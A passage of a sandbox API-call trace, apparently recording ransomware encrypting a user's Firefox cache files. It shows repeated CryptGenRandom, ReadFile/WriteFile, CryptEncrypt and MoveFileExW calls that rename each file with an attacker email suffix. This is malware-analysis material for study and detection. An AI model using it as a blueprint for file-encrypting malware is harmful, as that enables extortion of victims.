lpOverlapped=0x0 | out: lpBuffer=0x30f5890*, lpNumberOfBytesRead=0x2e1f9bc*=0x1136, lpOverlapped=0x0) returned 1 [0192.489] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4406, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.489] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d7038*, nNumberOfBytesToWrite=0x1136, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1136, lpOverlapped=0x0) returned 1 [0192.489] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1136 [0192.489] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.489] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60ea00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60ea00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.490] WriteFile (in: hFile=0x1b80, lpBuffer=0x60ea00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60ea00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.490] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.490] CloseHandle (hObject=0x1b80) returned 1 [0192.490] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\086D90F358405509D6EAA39BC422393A31BDE8CA" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\086d90f358405509d6eaa39bc422393a31bde8ca"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\086D90F358405509D6EAA39BC422393A31BDE8CA.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\086d90f358405509d6eaa39bc422393a31bde8ca.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.492] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60ce28 | out: pbBuffer=0x60ce28) returned 1 [0192.492] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0192.492] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0718303207D0267173EECAE48EF1BA3EE0CCAF92", dwFileAttributes=0x80) returned 1 [0192.492] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x60cd20 [0192.492] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0192.492] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0718303207D0267173EECAE48EF1BA3EE0CCAF92" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0718303207d0267173eecae48ef1ba3ee0ccaf92"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0192.493] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1322) returned 1 [0192.493] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x52a) returned 0x619c48 [0192.493] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x52a) returned 0x30f5890 [0192.493] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x52a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x52a, lpOverlapped=0x0) returned 1 [0192.494] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1322, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.494] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f5890*, nNumberOfBytesToWrite=0x52a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5890*, lpNumberOfBytesWritten=0x2e1f9bc*=0x52a, lpOverlapped=0x0) returned 1 [0192.494] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x52a [0192.494] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.494] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60ce28*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60ce28*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.494] WriteFile (in: hFile=0x1b80, lpBuffer=0x60ce28*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60ce28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.495] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.495] CloseHandle (hObject=0x1b80) returned 1 [0192.495] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0718303207D0267173EECAE48EF1BA3EE0CCAF92" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0718303207d0267173eecae48ef1ba3ee0ccaf92"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0718303207D0267173EECAE48EF1BA3EE0CCAF92.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0718303207d0267173eecae48ef1ba3ee0ccaf92.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.498] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60e4d8 | out: pbBuffer=0x60e4d8) returned 1 [0192.498] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0192.498] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\062B04E15EAFB2D212062ECE2F5B56DAE65BAE22", dwFileAttributes=0x80) returned 1 [0192.498] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x60dc98 [0192.498] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0192.498] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\062B04E15EAFB2D212062ECE2F5B56DAE65BAE22" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\062b04e15eafb2d212062ece2f5b56dae65bae22"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0192.499] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4453) returned 1 [0192.499] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1165) returned 0x30f5890 [0192.499] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1165) returned 0x30d7038 [0192.499] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f5890, nNumberOfBytesToRead=0x1165, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5890*, lpNumberOfBytesRead=0x2e1f9bc*=0x1165, lpOverlapped=0x0) returned 1 [0192.502] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4453, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.502] WriteFile (in: hFile=0x1b80, lpBuffer=0x30d7038*, nNumberOfBytesToWrite=0x1165, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7038*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1165, lpOverlapped=0x0) returned 1 [0192.503] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1165 [0192.503] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.503] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60e4d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60e4d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.503] WriteFile (in: hFile=0x1b80, lpBuffer=0x60e4d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60e4d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.503] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.503] CloseHandle (hObject=0x1b80) returned 1 [0192.503] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\062B04E15EAFB2D212062ECE2F5B56DAE65BAE22" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\062b04e15eafb2d212062ece2f5b56dae65bae22"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\062B04E15EAFB2D212062ECE2F5B56DAE65BAE22.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\062b04e15eafb2d212062ece2f5b56dae65bae22.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.505] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60d248 | out: pbBuffer=0x60d248) returned 1 [0192.505] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0192.505] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\062AD3657B516BAF21B6D366104D405078541BA6", dwFileAttributes=0x80) returned 1 [0192.505] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x60ea00 [0192.505] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0192.505] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\062AD3657B516BAF21B6D366104D405078541BA6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\062ad3657b516baf21b6d366104d405078541ba6"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0192.506] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=391) returned 1 [0192.506] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x187) returned 0x5646a8 [0192.506] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x187) returned 0x52f438 [0192.506] ReadFile (in: hFile=0x1b80, lpBuffer=0x5646a8, nNumberOfBytesToRead=0x187, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5646a8*, lpNumberOfBytesRead=0x2e1f9bc*=0x187, lpOverlapped=0x0) returned 1 [0192.507] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-391, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.507] WriteFile (in: hFile=0x1b80, lpBuffer=0x52f438*, nNumberOfBytesToWrite=0x187, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x52f438*, lpNumberOfBytesWritten=0x2e1f9bc*=0x187, lpOverlapped=0x0) returned 1 [0192.507] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x187 [0192.507] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.507] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60d248*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60d248*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.507] WriteFile (in: hFile=0x1b80, lpBuffer=0x60d248*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60d248*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.519] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.519] CloseHandle (hObject=0x1b80) returned 1 [0192.519] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\062AD3657B516BAF21B6D366104D405078541BA6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\062ad3657b516baf21b6d366104d405078541ba6"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\062AD3657B516BAF21B6D366104D405078541BA6.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\062ad3657b516baf21b6d366104d405078541ba6.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.521] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60d350 | out: pbBuffer=0x60d350) returned 1 [0192.521] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0192.521] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\05C341B704CB1060501AA0B43D83F975ECBB85F2", dwFileAttributes=0x80) returned 1 [0192.521] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x60cc18 [0192.522] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0192.522] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\05C341B704CB1060501AA0B43D83F975ECBB85F2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\05c341b704cb1060501aa0b43d83f975ecbb85f2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0192.522] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=978) returned 1 [0192.522] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3d2) returned 0x619c48 [0192.522] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3d2) returned 0x61a028 [0192.522] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x3d2, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x3d2, lpOverlapped=0x0) returned 1 [0192.534] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-978, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.534] WriteFile (in: hFile=0x1b80, lpBuffer=0x61a028*, nNumberOfBytesToWrite=0x3d2, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x61a028*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3d2, lpOverlapped=0x0) returned 1 [0192.534] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3d2 [0192.534] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.534] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60d350*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60d350*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.534] WriteFile (in: hFile=0x1b80, lpBuffer=0x60d350*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60d350*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.534] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.535] CloseHandle (hObject=0x1b80) returned 1 [0192.535] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\05C341B704CB1060501AA0B43D83F975ECBB85F2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\05c341b704cb1060501aa0b43d83f975ecbb85f2"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\05C341B704CB1060501AA0B43D83F975ECBB85F2.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\05c341b704cb1060501aa0b43d83f975ecbb85f2.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.538] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60d560 | out: pbBuffer=0x60d560) returned 1 [0192.538] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0192.538] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\055BC3539A35CF182A96E6F1F1F7C0168BEE66FE", dwFileAttributes=0x80) returned 1 [0192.538] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x60e6e8 [0192.538] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0192.538] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\055BC3539A35CF182A96E6F1F1F7C0168BEE66FE" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\055bc3539a35cf182a96e6f1f1f7c0168bee66fe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0192.538] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4596) returned 1 [0192.539] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11f4) returned 0x30f3888 [0192.539] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11f4) returned 0x30f4a88 [0192.539] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0x11f4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0x11f4, lpOverlapped=0x0) returned 1 [0192.548] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4596, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.548] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f4a88*, nNumberOfBytesToWrite=0x11f4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f4a88*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11f4, lpOverlapped=0x0) returned 1 [0192.549] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11f4 [0192.549] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0192.549] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x60d560*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x60d560*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0192.549] WriteFile (in: hFile=0x1b80, lpBuffer=0x60d560*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60d560*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0192.549] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0192.549] CloseHandle (hObject=0x1b80) returned 1 [0192.549] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\055BC3539A35CF182A96E6F1F1F7C0168BEE66FE" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\055bc3539a35cf182a96e6f1f1f7c0168bee66fe"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\055BC3539A35CF182A96E6F1F1F7C0168BEE66FE.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\055bc3539a35cf182a96e6f1f1f7c0168bee66fe.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0192.551] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x60ce28 | out: pbBuffer=0x60ce28) returned 1 [0192.551] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0192.551] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\020A4F3A0F6F161908D148AEB21A124C4BADFD41", dwFileAttributes=0x80) returned 1 [0192.552] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x60cf30 [0192.552] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0192.552] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\020A4F3A0F6F161908D148AEB21A124C4BADFD41" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\020a4f3a0f6f161908d148aeb21a124c4badfd41"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0192.552] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3747) returned 1 [0192.552] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xea3) returned 0x30f3888 [0192.552] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xea3) returned 0x30f4738 [0192.552] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0xea3, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0xea3, lpOverlapped=0x0) returned 1 [0192.563] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3747, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0192.563] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f4738*, nNumberOfBytesToWrite=0xea3, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f4738*, 